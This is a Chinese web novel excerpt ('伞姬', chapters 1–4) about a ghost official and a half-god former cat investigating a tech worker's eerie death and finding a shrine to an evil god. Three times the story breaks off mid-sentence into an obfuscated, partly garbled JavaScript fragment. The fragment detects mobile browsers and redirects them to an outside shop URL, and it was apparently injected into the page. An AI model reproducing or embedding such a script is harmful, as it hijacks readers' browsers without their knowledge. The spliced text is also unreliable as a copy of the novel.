《伞姬》 1. 牛马之死(1) 乌云如墨,翻滚着遮蔽了最后一丝月光。狂风骤起,横扫京城每一个角落。大雨倾盆而下,如同密集的箭矢,疯狂击打着地面,整个世界被笼罩在一片朦胧之中。 深夜小巷的垃圾桶边,一具男尸姿态诡异、面容扭曲的躺在那,似乎死前经受了极大的恐惧。 “死了。” 女孩深吸一口气,尸体上附着的浓重黑雾化作一缕烟从鼻腔进入了她的身体。她漆黑的眼眸瞬间燃起了火焰般的蓝色,苍白的皮肤下,每一根经脉都透着幽幽的光。 随着黑雾渐渐消失,女孩的眼睛又变成了与人类相同的黑色。她感受到了前所未有的舒适,餍足的眯了眯眼,心里盘算着抓完这个该死的恶鬼终于可以跟阎王申请休假了。 虽然她的业绩还未达标,但是打工鬼的命不是命吗!再这样干下去,就该化为一缕烟了。 女孩的内心疯狂抱怨着不爽,但还是负责任的开始工作。她蹲下身,纤纤玉手抚上尸体的头部。下一秒,关于这具男尸生前的记忆尽数进入她的脑中。 清一赶到时,看到的便是这一幕。 “女鬼,住手!” 他大喝一声,宛如惊雷炸响,咬破手指在空中画了一张符,向面前的女孩打去,一气呵成,动作利落而决绝。 金光乍现,掺着神血的攻击势如破竹、锐不可当,誓要将这空气撕裂出一道骇人的口子。只听咚一声,乱石飞溅,原本平整的路面在这小小一张符箓的轰击下,竟被炸出了一个洞。 再看刚才被他呵斥的女孩,竟完好无损的站在洞旁,面容淡定的看着这一切,仿佛是在欣赏一场技能表演。 “现在神官打架都这么不管不顾了吗?” “找死!” 清一怒意暴涨,双目圆睁,对着她又是一顿狂轰乱炸。 女孩张开右手,一柄精致的古伞凭空显现,悠然悬于她的掌心之上,散发着阵阵阴气。伞面上,繁复而精美的图案交织错落,似乎蕴含着某种神秘力量。 面对清一凌厉的攻势,她从容地将古伞旋至身前,静静立于风雨之间。那些携带着磅礴法力的符箓,如同流星般划破长空,带着呼啸之声直逼而来。然而,当它们触及到古伞伞面的刹那,仿佛被一股无形的力量所束缚,纷纷停滞不前。 清一见状,又加深了法力。 下一刻,古伞上的图案仿佛被唤醒,瞬间绽放出幽幽蓝光。紧接着,从图案中涌出的火焰犹如灵蛇般蜿蜒而出,炽热而神圣,将那些符箓逐一缠绕、吞噬,最终化为虚无。 “这伞……竟是她。” 清一不可置信的看着这一切,震惊得给不出反应。那些符篆灌注了他的仙血,力道是普通的三倍,她竟然能够毫发无伤的一一化解。 原来这就是传说中阎罗殿内唯一的女官——伞姬苏月现。 原来这就是他要找的人。 清一这才认真打量起面前女孩的样子来。她身材窈窕,长发如瀑,着一袭轻纱长裙,裙摆随风摇曳,宛若幽灵般缥缈。她的面容清秀,眉眼间带着淡淡的哀愁,好像永远笼罩在一层薄雾之中。 “我看过你的资料。伞姬,阎罗殿内唯一的女官,本体为一把百年历史的油纸伞,平日以吸食怨气为生。” 苏月现向上一抛,古伞消失在了空中。她理了理因战斗乱飞的长发,幽幽道:“可以不把这么尴尬的介绍直接讲出来吗……” “我终于找到你了!”清一挑眉,三两步闪到苏月现面前,一改刚才的态度,黏腻腻的喊,“主人。” 苏月现皱眉,心道这是什么play。 清一见她嫌弃的神情,蔫儿巴巴的低下头:“你都忘了吗?” 苏月现对他,确实有一种难以言喻的熟悉感。在清一某个抬眼的瞬间,她似乎想起了什么。但当她想要细细琢磨时,脑中开始出现浓重的雾,让她不得不停在原地。 “我该记得什么吗?”苏月现不想再跟他纠缠,摆摆手,“没什么事我先走了。” “诶,不行,你不能走!”清一一把拉住她的手,瞬间被冰得打了个寒颤,“哇,你的手也太冰了!” “还有什么事吗?” “这人……” “我只吸怨气,不杀人。这是有恶鬼作祟。” 清一蹲下身,猫似的在尸体上闻了一圈,赞同的点点头,“那我们要不要合作?” “我从不与神官合作。” “我是半个!” “半个也不行。”苏月现说完,没给他继续劝说的机会,头也不回的消失在了雨中。 清一盯着她消失的方向,眯起了金色的眸。他嗅觉极其敏锐,抬起手往空中抓了抓,再送到鼻前细细闻着。 没错,苏月现就是他日思夜想的人。 清一心中念咒,化作一道金光飞向了天庭。 “凌霄神君!凌霄神君!”清一一回到上界,便飞奔到凌霄的寝殿跑酷。 他忘情之际,没有控制好本体的特征,露出了两只大大的尖耳朵和一条毛茸茸的尾巴。 凌霄打着哈欠从屏风后走出来,看着正在发神经的清一已然习惯,淡定的给自己倒了杯茶。 “怎么了?不是给了你在人间使用的建房符了吗?怎么还往我这跑。” 清一一个大跳飞似的跑到了凌霄身旁,喉间发出呼噜呼噜的声音。 “清一,你已经不是猫了。” 清一撇撇嘴,坐在了凌霄旁边的凳子上眯起眼睛,开心的情绪溢于言表。 “到底怎么了?我看了一夜卷宗,刚睡着,就被你这只夜猫子吵醒了!有什么事不能白天说?” “神君,我找到我的恩人了!” “哦?这是好事啊,报完恩,你就能彻底成神了。” 清一清清嗓子,将事情的来龙去脉说与凌霄听。 “竟是那阎罗殿的女官?” “对啊!可能这就是缘分吧,我这刚去人间,就遇见她了。” “你是如何确认她的身份?” “她身上有喜林草的味道。” 清一曾是一只流浪猫。 他自幼脾气差,不管对方是体型比他大多少倍的猫,让他不爽,清一都要打上一打,因此常常负伤。他倒也不在意,反正窝在角落里舔一舔,休整几日,再见还是一只顶天立地的猫。 一次,他蜷缩在街角疗伤时,遇见了他的女主人。 女主人是个极善良的女孩,她见清一受了伤心疼不已,便将他带回宅院抚养。 清一第一次有了家。 女主人是姑苏一家富商的女儿,大家都叫她苏小姐。白天她常跟随她的爹爹学习管理族中生意,晚上便沉浸在油纸伞的制作中。她说,她不能辜负长辈们的期待,不能坏了苏家这些年来的规矩——苏家掌事之人,制伞技艺必须是族中最好的。 清一白天无聊时,最爱在她的院子里跑酷。晚上待她回来,就围在她身边撒娇。他最爱用头去顶她的手,在伞骨与伞面间来回穿梭,让她没法专心致志的做伞。 她也从不恼,只会笑着轻轻推开他,嘴里喊着:“别闹啦,都给我抓坏了。” 在清一日复一日的干扰下,她还是能做出一把把精美古朴的伞。清一会在伞面上跳来跳去,偶尔会把伞踩翻一脸歉意的看着她。还会在伞下趴着睡觉,顺便磨磨小胖爪。 闲暇之余,苏小姐喜欢养花,她的院子里种满了喜林草。微风拂过,蓝色的花海如浪般摇曳,美不胜收。她还喜欢打麻将,常常叫上闺中密友去镇上的麻将馆小玩两把,有时会带着清一一同前往。彼时,他会窝在苏小姐怀里,眯着眼睛昏昏欲睡。恰巧每次带着他去,苏小姐都能赢钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647778|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,于是她给他取了一个名字叫“清一色”。 清一最讨厌下雨,他不喜欢他最骄傲的毛发被雨打湿,厚重的盖在身上,甩都甩不干。 然而姑苏的雨,总是那么缠绵。天空常被一层薄雾轻轻笼罩着,看不见太阳。雨丝密如棉织,轻轻洒落在古老的屋檐上,再沿着青石板路缓缓流淌。每到这时,苏小姐会将一屋子的伞放至院中,一把接着一把,搭成一条不会被雨打湿的长廊。清一自然的接受着她的宠爱,靠在伞下听雨声,看被水珠压弯腰的草。 这是他们最快活的一段日子。 后来,苏小姐的闺中密友嫁作人妇。 再后来,苏小姐的爹爹病倒了。 白天,她依然去照看族中的生意。晚上,她坐在桌前以泪洗面。清一不再调皮的窜来窜去,而是乖乖的趴在苏小姐身边。她会苦笑着去摸他的头,他会亲昵的去舔她的手心。一人一猫,就这样度过漫长的夜。 苏小姐的爹爹还是去世了。她极难过,红着眼操持着后事,没掉下一滴泪。她开始早出晚归,似乎在调查着什么,清一只能看见她忙碌的背影,在房中默默等待着她回家。 清一不记得看过多少次日升月落,在日复一日的等待中,他终于反应过来——苏小姐不会回来了。 她种下的喜林草已开满庭院,花香四溢。它们以最纯净的蓝色,绽放出无尽的生命力。月光如水,清一跳进这片花海,细嗅清新的花香,并暗自记在心里。 他的苏小姐,就是拥有着这样温柔的味道。他一定要找到他的主人。 天边初露曙光,薄雾缭绕,犹如轻纱般覆在亭台楼阁之上。远处,山峦叠嶂,在晨光的照耀下渐渐显出轮廓。河水悠悠,穿城而过,层层波纹闪着金色的光芒。青石板路铺向远方,清一再次踏上了新的旅途。 如果是以前的话,苏小姐起床后,会先去小厨房端来他爱吃的鱼,放到他的碗里,看着他享用完自己再去洗漱。 只是时光无法倒流,世上没有如果。 今后,再也没有苏小姐。 清一依然是一只脾气暴躁的猫。 家养这些年,越发娇气。他远离战场太久,昔日勇猛的战斗力已不再,与大猫的撕咬以失败告终。原来可以不管不顾的伤,如今却让他疼痛难忍、动弹不得。 清一第一次觉得,姑苏的冬天这么冷。 然而命运对他格外眷顾,恰逢凌霄神君游历至此,便将他捡了去,想着天庭生活平淡无趣,养只猫解解闷也是好的。 凌霄,为上古神兽獬豸的化身。有着辨善恶、察人心的本领,是掌管天下正义的至高存在。但他玩儿心大,每年都会来到人间游山玩水,赏美景吃美食的同时,再做几个月判官,解决一些百姓难题。 凌霄将清一带回天庭,用极具纯净的仙气为他疗伤。清一的伤势迅速痊愈,凌霄发现他天资聪慧,便决定助他一臂之力,为他输了更多的仙气,使他蜕变成了一位半神。 清一化形为一位英俊潇洒的青年后,对自己的名字“清一色”不太满意,觉得不太像神的名字,又不想舍弃苏小姐为他取的名字,他思考良久,最后取了“清一”二字。 清一努力学习术法,从凌霄的贴身书童做起,利用猫类的天生优势,渐渐崭露头角,也开始参与断案。 他问凌霄,世间为何有这么多人作恶。 凌霄答,因为欲望。 他再问,何为欲望,为何会有欲望。 凌霄听后,觉得是时候将他遣去人间游历了——收服恶鬼,做百姓的判官。让他学习人性,找到自己。了却尘缘,成为真正的神。 凌霄告诉他,成神之前,先成人,要体验过七悲才算完整。即生、老、病、死、怨憎会、爱别离、求不得,少一个都不行。 清一带着凌霄的嘱托,前往人间。 2. 牛马之死(2) “我每天都是五六点出来溜早,顺便捡几个瓶子卖钱,这会儿街上没几个人图清净。这个垃圾桶我天天都来翻,今儿一看,好么,吓死个人!竟然有人死在这了!这不赶紧叫你们来。” “好的,大爷,基本情况我们已经了解了,不过还是要麻烦您去局里做个笔录。” “好好好,肯定配合哈!希望你们早日破案。” 向阳区的热心大爷是第一个发现尸体的人,他作为本案的重要证人在警察的保护下带回局里做笔录。 这条平日里安静无波的小巷,一夜之间登上了各大头版头条。巷口被戒严,因此媒体全部堵在了另一条路上,又恰逢早高峰,导致向阳区的主干道堵满了车。交警全部出动,站在路中间指挥交通,顺便安抚群众的情绪。 在汽车不耐烦的鸣笛声和死者家属的哭喊中,京城平凡的一天开始了。 死者名刘意,男,28岁,未婚。死亡时间为前一日凌晨1点,初步判断窒息死。但在现场,警察没有找到第二人的指纹。并且通过巷口的监控呈现的画面来看,刘意从进入小巷开始到最终死亡,始终只有他一人。值得一提的是,刘意走到垃圾桶旁后,把自己的手放在了自己的脖子上,持续大约一分钟后,倒地死亡。这一系列动作,就像是被设定了某种程序,时间卡得太过于刚好,透露着诡异。 警方办案多年,没见过自己给自己掐死的。且从常理来说,这根本不可能。但监控不会骗人,也没有检测出剪辑痕迹。 只能说明,这就是真实发生的。 警方走访了刘意的朋友及在校期间的同学老师,大家纷纷表示他人缘很好,属于见到谁都能唠两句的类型。他很善良,经常去喂学校里的流浪猫狗,见它们状态不对还会自费带去医院检查。他成绩也很好,一直名列前茅,各种奖学金拿到手软,研究生一毕业就进入了当地最好的科技公司做研发,前途不可限量。唯一不太愉快的是他大学期间谈了一个女朋友,没能走到最后,在毕业前期分手了。但这些都是很早之前的事情了,那个女生现在已经结婚了,她结婚时刘意还包了一个大红包送了过去。 警方又去了刘意的公司——辉天科技进行了一番调查,同事们纷纷表示他们公司不存在恶意竞争,大家相处得都很愉快,领导也体恤下属,中午经常带他们去聚餐,即便加班也会给大家买夜宵。 在这期间,刘意的手机被破解了。 他的备忘录记录的全部都是工作相关的内容,与好友小杰的聊天内容80%都在抱怨工作辛苦,领导苛责,加班文化严重,与公司同事们的证词极不相符。 最引人注目的几条,是他和公司里一个叫肖云的人的对话。 他们是同时入的职,年龄相仿,自然走得更近些。 刘意跟肖云说,他看见鬼了。 肖云自然是不信的,安慰了一番,告诉他工作实在坚持不下去就请假休息一段时间,要么就辞职吧。 刘意见他这么说,又开始倒苦水。他说他不能辜负家里人的期待,工作嘛都辛苦,忍忍就过去了。但是他没有骗人,是真的看见鬼了。 肖云只觉得他加班加出了幻觉,还说着让他好好休息的话。 两人最后的对话就停留在了这里,刘意可能觉得肖云始终没法理解他就没再回复了。时间为刘意死亡的三小时前。 警方敏锐的察觉到了这个公司的不正常,又秘密找了几个普通员工私下问询,其中就有与刘意联系甚密的肖云。 据这几位员工透露,公司有一种隐形的加班文化。但碍于老板的威压,没人敢说。老员工几乎每天都干到八九点,他们新人更是如此,常常周日也被叫来公司加班,一干就到晚上十点。 刘意是211毕业,在公司属中等学历,曾经引以为傲的学习能力在这里根本不值一提。公司里很多人拥有海外留学经验,单从毕业院校这一点来看,都比他更优秀。因此他要比其他人更卷才有升职加薪的可能,不然一辈子都只能当个最底层的小职员,还可能随时会被优化掉。 而且他们的组长是典型的加班狂,他说他就是一路这样升上来的,因此要求他的下属们也要这样做。可能是因为刘意太善良,不懂得拒绝,他每周日都会被叫来公司加班。 对于之前公司员工对实际情况的隐瞒,警方也表示理解,毕竟他们还要讨生活,别人的生死、事情的真相,对于他们来说并不重要。 警方叫来了刘意的组长,问了一些关于员工情绪的问题。组长表示刘意从来没有向他透露出不愿意、不想、不开心等情绪,他一直都觉得刘意跟年轻时的他很像,将来必是大有作为,所以在重点培养他。 组长油嘴滑舌,观点奇特,一看就不是什么好人,但这些并不足以说明是他害了刘意。并且事发当晚,他有充分的不在场证明,最后警方只好跟他交代几句要关心下属之类的话后就放走了。 对于他们聊天记录里公司闹鬼的说法,警方更是不信。 能查的都查了,虽然刘意自己掐死自己的行为很奇怪,虽然这个公司处处透露着古怪,但是没有嫌疑人,也没有凶器,由此警方只好判断为自杀。 家属不接受这样的说法,他们抱着刘意的骨灰盒坐在警局门口哭天抢地,要求警方重新审查案件,称一定是有人蓄意谋杀。 据死者家属描述,刘意平时乐观开朗,身体健康,人生顺遂,没遇过什么重大挫折,根本没有自杀的理由。 各大新闻媒体争相报道该起案件,引起极大的社会关注。肖云采访的画面经过处理后也在电视上播出了,因此闹鬼的说法在京城肆意发酵,一时间人心惶惶,才九点钟街道上就没什么人了。 政府部门立刻重视起来,向阳区警察局局长连夜成立了专案组,挑选的都是各部门最优秀的警察,全力侦破此案,时限为三天。 警察们忙得不分昼夜、焦头烂额,倒是某位阎罗殿女官悠哉悠哉,在墙里看着一切默默发生。 在苏月现的不懈努力下,她终于赚够了冥币,换来了一套房产。 为了方便鬼差们抓恶鬼,阎罗殿发售了一套建房纸,每张只要444,清明时期还打8折。 要知道他们在阎罗殿打工固定一月能拿10冥币,抓一只恶鬼额外得10冥币,以此类推。对于普通的鬼来说赚够一张建房纸简直难上加难。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647779|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但好在苏月现足够努力,还是凑足了买房的钱。 建房纸神奇得很,只要将鬼术灌入纸内并轻轻放在想建房子的地方,就能平地起高楼,任意地点任意空间都可使用。想换地方住时,将该纸拿起即可。 有的鬼差喜欢住在热闹的街区,有的鬼差喜欢住在安静的郊区,但是苏月现不一样,她喜欢住在墙里。 每位鬼差感知恶鬼的能力不同,苏月现想要抓鬼时,将手触碰在任意物件上,只要有相同之物,不管相隔多远都可在瞬间建立联系,形成一张巨大的信号网。 钢筋水泥是每个城市必备的原材料,因此苏月现只要轻碰墙壁就能开启技能,捕捉到恶鬼的踪迹,非常方便。 还有一个原因——墙里凉快安静还没有阳光。 虽说他们鬼差跟普通的鬼不同,被阳光直射也不会消散,但到底还是不太舒服,苏月现能避开就避开。 这次苏月现把房子建在了警局的墙壁里,光明正大的听他们的推理。 连八百年前的女朋友都怀疑了,就是不信死者临终前的话——有鬼。 人啊,永远不会接受认知之外的东西。 听及此,苏月现叹了口气,看来还是需要她出手摆平。 “到底怎么将这件事变得合理起来呢?” 她小声呢喃着,随后空中传出一道声音:“本来就是那组长的错,嫁祸给他不就好了。” “谁!”苏月现心中警铃大作,靠!闹鬼了!到底是谁在这故弄玄虚! 下一秒,金光闪现,走出一位翩翩少年。苏月现定睛一看,还是那位半神。 这大哥有病吗?来人家家里前不应该先打声招呼吗? 清一为了追到他的主人,此次下凡特意换了一身衣服。他身着一袭轻盈如雾的淡蓝色长衫,衣袂飘飘,下摆处以精致金线绣上几条栩栩如生的锦鲤。腰间束以一条白色玉带,勾勒出他修长的身形。 他的五官立体而精致,肌肤白皙细腻,双眼深邃而明亮,宛如两颗璀璨的黄宝石,熠熠生辉。 清一浑身上下散发着一种难以言喻的优雅与力量感,他站在那,即便房内没有任何光源,却依然透着淡淡光晕。这可能就是所谓神性,所谓灵魂的颜色,纯粹如光。 上次光顾着打架了,都没仔细看过他的模样。不得不说,清一很符合苏月现的口味。 在下界生活久了,要么是牛头马面,要么是惨死冤魂,很难见到如此绝色。 想到这,苏月现的态度好了一些。 “你是怎么来我家的?” “我念诀时,想的是快点来到你身旁。”清一热情的走上前,再次抓住了苏月现的手。他手指修长而有力,指尖略带一点猫爪的锋利感,仿佛随时都能化为锋利的武器。 苏月现警惕起来,注意力全部放到了手上,生怕下一秒他将她的手戳穿。 清一看懂了她的情绪,将一只手举到了苏月现面前。 “这次来见苏小姐,我把指甲都修剪了一遍。怎么样,我是不是很乖。” “你,为何对我如此执着?” “因为我是苏小姐曾经养的猫啊。” 3. 牛马之死(3) “不好意思,我不太记得这些了。” “没关系,我会帮你想起来的。” 阎罗殿的鬼差第一次出任务前,会得到一本鬼簿。本子上记录了该鬼差的总任务量,每抓一只恶鬼会增加5%的基础值,恶鬼越险恶杀的活人越多附加值越高,反之,恶鬼太弱,消灭了他们也不能增加任务值。但如果有的鬼差能力一般,恰巧遇见的恶鬼等级偏高,也是有被其杀死做养料的风险。 随着任务进度的增长,鬼差会恢复相应记忆。待完成全部任务后,该鬼差会重拾生前所有记忆。若有未完成的事可尽情去做,若有必须了结的仇恨可去寻找。但鬼差一旦入世杀了活人,将直接变成恶鬼被其余鬼差抓捕,无法转世投胎,直到被杀死,灰飞烟灭。 老子道,福祸相依。这是对鬼差的嘉奖,也是惩罚。他们拼命做任务想要恢复记忆,但并不知道会想起来什么,这些记忆会把他们带入怎样的结局。 但,活着的每一刻都是豪赌,做任何决定前都无法准确预料到未来。他们比起一般的鬼已经幸运了许多,至少被阎王看见了收入编制,给了他们一次选择的机会。 苏月现任务重,即便做了这么久鬼差,也才完成了30%。仅仅想起来了她是谁,她曾经在哪里生活以及家中的情况。 任重道远啊。 苏月现将手从中抽出:“还是先聊聊这只恶鬼吧。” “我说了,嫁祸给那组长。” “疯了?”苏月现露出不可置信的神情,“你是神官诶,这就是你心中的正义?” 清一赶忙解释:“来之前我看过他的命簿,他不是什么好人!” “这倒是。” “我这双眼睛,能看见人灵魂的颜色,他的灵魂是黑色的。杀了他,我觉得并不过分。” “不行,他罪不至死。”苏月现皱起眉,对清一的说法极不赞同,“没人教过你吗,要遵守世间的法则。人类世界有自己的审判标准,你可以帮助、旁观,但不可参与。” 浩瀚宇宙间,世间万物皆遵循着既定的规则。不管是神还是鬼抑或是人,众生平等。 天帝与阎王共治上下,神官与鬼差无法互相伤害,亦不可随意杀人。但神可杀神,鬼可杀鬼,人可杀人。公道在心,自决正义。 “苏小姐,你也太遵守规则了,真是一只特别的鬼。”清一睁大了眼,眸子瞬间变成了金色,“那就让我看看你的灵魂是什么颜色的——” 话音刚落,苏月现猛然闪到清一面前,伸出手的瞬间指甲暴涨,带着森然寒意直愣愣地向他的双眼戳去。清一侧头灵巧避开,抓住了那只青筋凸起的鬼手。鬼气化作无数把锐利的软刀,闪着幽幽蓝光,藤蔓般缠绕在清一的手上。霎那间鲜血如注,染红了他的衣袖,又在眨眼间愈合起来,随即再被鬼气划破,再愈合,如此往复,永无止境。清一像感受不到疼似的,仍含笑注视着苏月现的怒颜,温柔的目光好似能看穿一切。 苏月现收了力,尖锐的指甲恢复成正常模样。她的手仍被清一抓着,她不适的动了动,但这位半仙似乎并无放开的打算。 “你的灵魂是白色的。至纯至净,毫无恶念。你究竟,为何会变成鬼?” “放开我。” “不放,要是你还想杀了我怎么办?” “呵,你明知我杀不了你。我就是想把这眼珠子抠下来,看看究竟有什么不同之处。” 清一就势将苏月现又往前拉了一步:“那就请苏小姐好好看看我的眼睛。” 苏月现翻个白眼,奋力挣脱开被禁锢住的手:“这位神官,若是还想跟我共事,以后少对我产生好奇,我讨厌这种感觉。还有,我不喜欢你的眼睛。” 清一撇撇嘴,如果这时那双尖耳朵不小心显现出来,那肯定是耸拉的样子:“好,那就聊回这个案子吧。” “我探过死者的记忆,他过得并不开心。准确来说,他有严重的抑郁症。” “但是并没有就诊记录啊。” “没去医院看过不代表他没有病。” “那,人类不都是有病就去医院吗?” “如果是普通疾病,像感冒发烧这种,去医院看看没问题。但如果是精神类疾病,就会牵连到很多事情,比如家人的看法、公司允不允许入职等等。据我在他记忆中看到的,刘意是家中独子,他的家长非常看重他。从他幼儿园开始,一直到高中毕业,家长都是车接车送。包括他上大学时,填报的也是本地大学。不过刘意也很争气,本科毕业后顺利考上研究生,研究生毕业又很快找到了工作,这更是增加了他的家长向亲戚炫耀他的资本。所以,他可以感冒发烧,但不可以得抑郁症。” “苏小姐,你怎么懂这么多。” “我触碰到已逝之人,可以与他共享生前记忆,还有就是……在人间待久了,见过的事情多了,这些自然而然也就懂了。” “按你所说,他应该过得很压抑,一点都不自由。我做流浪猫的时候,虽然总是受伤,有时候吃不饱会受伤,但好处就是自由。如果不自由,我会疯掉的。” “那你当初还真是不幸,前世的我把你捡走当家猫养的,让你失去了自由。” 清一疯狂摆手:“才不是!你是非常好的人,我很喜欢你。” “可我现在不是人了,我也不记得与你的过去。” “我记得就好啊,而且你不是多做任务就能恢复记忆吗?我帮你快点把任务做完,你就能记起我了!” “好吧……我也很期待关于你的记忆。” “那么苏小姐,我现在应该做些什么啊?” “等。” “啊?” “等过了十二点,我们去公司抓鬼。” 辉天科技在京城非常有钱有势,他们是盛天集团旗下的一个子公司,由董事长的小儿子盛辉担任总裁。公司所在的大楼属盛天集团,说来说去都是自家买卖。期间,这栋楼还重新装修过,那段时间公司所有员工搬到了盛天总部上班。 辉天科技的主营业务为当下最热门的人工智能。刘意所在的研发部,是公司的骨干部门,属于工资高但废人的类型,纯牛马。该部门的所有同事无一不是顶着巨大的黑眼圈上班,甚至有些通勤时间太长的员工已经住在了公司里。但刘意出事进行了戒严,全员开始线上办公,公司又传出了闹鬼的传闻,那些在这如鸟儿般续窝的同事也纷纷回了家。 这对于他们的潜入很有帮助。 月亮高悬,清冷的光透过窗洒了进来,说亮不亮,说暗不暗,像极了电视剧里借着月光视物杀人的夜晚。苏月现带着清一进了公司,按照刘意的记忆找到了他的工位。穿过警戒线,苏月现打开了刘意了电脑,想要寻找着蛛丝马迹。 清一也没闲着,满公司的晃悠。一会儿站那研究文件好像能看懂似的,一会儿去茶水间看看有什么好吃的可以顺走。 但很可惜,两个人都失败了,他们没有在这间公司发现任何不对劲。 那,恶鬼在哪呢? 苏月现将清一喊过来,郑重其事的说道:“你对付恶鬼,有几成把握?” 清一有些为难:“苏小姐,这是我第一次抓鬼。” “……”苏月现沉默了一会儿,安慰他,“没关系,你就说你厉不厉害吧!” “那定是厉害的。”清一拍拍胸脯,一副胸有成竹的样子,“包在我身上!” 苏月现盯着清一的脸,犹豫了一会。 清一看出了他的担忧,掏出符箓就要念咒,苏月现一把按住了他的手,瞬间被烫得忍不住惊呼:“啊!” 清一立马熄火,拉过她的手送到嘴边轻轻吹着。 “我没事……别吹了,很痒。” 苏月现害羞得红了脸,百年不动的心在这一下一下的小风中好像复活了,咚咚咚得在耳边直响。 到底是猫,管会用爪子挠人心的。 “你,你刚才想用符箓干嘛?在办公室的地上开个洞吗?” “没有,我就是想跟你展示一下我的厉害。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647780|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏月现抽出了手,哄小孩似的在他的头上拍了拍,“我知道你厉害,留着点力气,一会儿肯定要跟鬼打架。我现在感知一下鬼的位置,这个技能极耗怨气,一天只能开一次,你等下一定要精准定位到他啊!” 随即,苏月现蹲下身触碰了地板,她的眼眸瞬间亮起变为了蓝色,与此同时,总裁办公室里亮起了微弱的红光。 苏月现对清一使了个眼神,他凭借着猫的灵敏,翻过一排排桌子闪进了办公室。 清一看出了红光的位置,在墙壁后面。但他没有找到能挪开墙壁的开关,正琢磨着,苏月现走了过来,问:“如何?” “这有机关。” 那是一面存放着各朝古董的墙,种类繁多,随手一拿便价值连城。清一从没见过这么多稀奇古怪的东西,虽说从前苏小姐家也很不错,但是苏家家主不喜这些事物,宅子里只是象征性摆一些贵物什撑场面,并不像这个总裁一样摆一整墙。 “这么有钱吗?摆了满满一整墙啊。”他好奇得很,左碰碰右摸摸,每一个都要拿起来欣赏欣赏。 “小心,别摔坏了。” “可是感觉这位小总裁并不喜欢这些东西啊,每个东西上面的土都那么厚。就只是摆着吗?”突然,清一停下了动作,“诶,这个怎么拿不懂啊?” 苏月现上前同样拔了拔无果后,往下使劲一按。细小的一声“咔”,在夜晚安静的办公室里格外惹人注意。 随后,由几个古董格子组成的一道暗门,轻声的打开了。 苏月现与清一对视一眼,默契的一同闪身进入了密室。 两人都是活动于夜晚的生物,眼神好得很,便没有开灯。这里不大,装修得像书房。有一面跟办公室一模一样的古董墙,看来这些才是真迹,摆在外面的那些假货纯属为了掩盖这个空间的存在。房间里有一套桌椅,上面散落着各种文件。看来总裁经常在这里办公,他喜欢在幽闭的空间里待着。 苏月现从进入到这里之后就感受到了若有似无的鬼气,凭借她多年抓鬼的经验,可以判断出这里绝对有鬼,而且存在很久了。那鬼极有经验,能够很好的隐藏自己的气息,让任何人都无法轻易察觉。 “苏小姐,你有没有觉得这里……阴气森森的?” “没错,要小心,这里有恶鬼。” 清一打起十二分精神,一根手指已经抵在了嘴边。只要发现不对劲,他就能立刻咬破。 苏月现拉住他的手腕,摇了摇头。 “你不能每次打架都咬破手指用血画符吧。” “我只是个半神,如果不掺血的话,威力很小。” “就不怕有一天你的血流干了吗?” 清一皱起眉,一副思考的模样:“我没想过,只要能快速打怪就好。” “有我在,放心。”苏月现拍拍他的肩,“你就辅助我吧。” 清一眯起眼睛笑起来,像两弯月牙。 苏月现方才感知恶鬼时消耗了太多了怨气,所以她不想强硬地让恶鬼显形,硬碰硬是最后的办法。 既然它长时间存在于这个房间,那么这里一定有它在意的东西。 两个人翻找起来。 “这个小总裁,很爱拜神啊。”清一从某个抽屉里翻出了成捆的香,还有各式各样的贡品,“有钱人都迷信吗?” “你自己就是神,这么说他合适吗。” “我是半神。”清一的手一触碰到香,顿时感觉到了一股扑面而来的阴气和湿冷,犹如蛇信般黏腻的从指尖往身体里钻。他赶忙抬手,不小心打翻了桌子上摆放的笔筒,发出了哗啦啦的响声。 “怎么了?这么激动?” 清一还沉浸在刚才的情绪中,他瞪大了眼睛,大口大口喘着粗气,似乎被吓了一大跳。 苏月现上前拉住他的手,关切地问:“你还好吗?要不要先出去待会?” 清一这才回过神来,一改少年朝气满满的声音,郑重而低沉:“快去找!这里供着邪神!” 4. 牛马之死(4) 苏月现听后也愣住了。 怪不得这里的恶鬼如此成熟,按年份算,它其实存在没多久,还算一只宝宝鬼,原本很好对付。但若是借着邪神的力量就不一样了,它可以吸取拜神之人的阳气强大自己。阳气之力大于怨气,是鬼最好的养料。 但这屋子不大,到底邪神被藏在了哪里呢? “他这个香,是用含冤而死的人的骨灰做成的。我不知道他从哪找到的这种香!但是,这威力太大了,我对付不了。”清一说这些话时,也没有停下寻找的脚步。他的眼睛变成了金色,扫描仪似的看遍屋内的每一处,“我,我只是个半神……” 豆大的汗珠从他额角落下,苏月现抬手为他抹去:“没关系,你尽管找,有我在,相信我。” 苏月现身为鬼差,无论是好神坏神正神还是邪神,只要是神的事情她都无法参与。她举起手,古伞凭空出现,与她相触时散发着幽幽蓝光:“你找到之后示意我就好。” 